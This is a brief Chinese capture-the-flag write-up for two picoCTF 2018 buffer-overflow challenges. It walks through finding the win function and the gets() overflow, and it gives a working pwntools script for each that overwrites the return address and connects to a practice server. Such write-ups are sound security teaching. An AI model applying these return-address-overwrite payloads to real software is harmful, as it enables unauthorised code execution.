picoctf_2018_buffer overflow 1
步骤:
- 例行检查,32位程序,没开保护
- 本地运行一下程序,看看程序大概的执行情况
- 32位ida载入,习惯性的检查程序里的字符串,发现有flag.txt,跟进,找到了读出flag的函数,win_addr=0x80485CB
- 根据运行时看到的字符串找到了输入点
gets函数读入,存在溢出漏洞,覆盖ret为win函数即可
from pwn import *
r=remote('node3.buuoj.cn',27200)
win_addr=0x80485CB
payload='a'*(0x28+4)+p32(win_addr)
r.sendline(payload)
r.interactive()
picoctf_2018_buffer overflow 2
步骤
- 例行检查,32位程序,开启了NX保护
- 本地试运行一下程序,看看大概的情况
- 32位ida载入,习惯性的检索字符串,看到了flag.txt,双击跟进
跟1差不多,2只是调用win函数的时候要满足a1=0xDEADBEEF,a2=0xDEADC0DE,就可以读出flag了
from pwn import*
r=remote('node3.buuoj.cn',25010)
payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(payload)
r.interactive()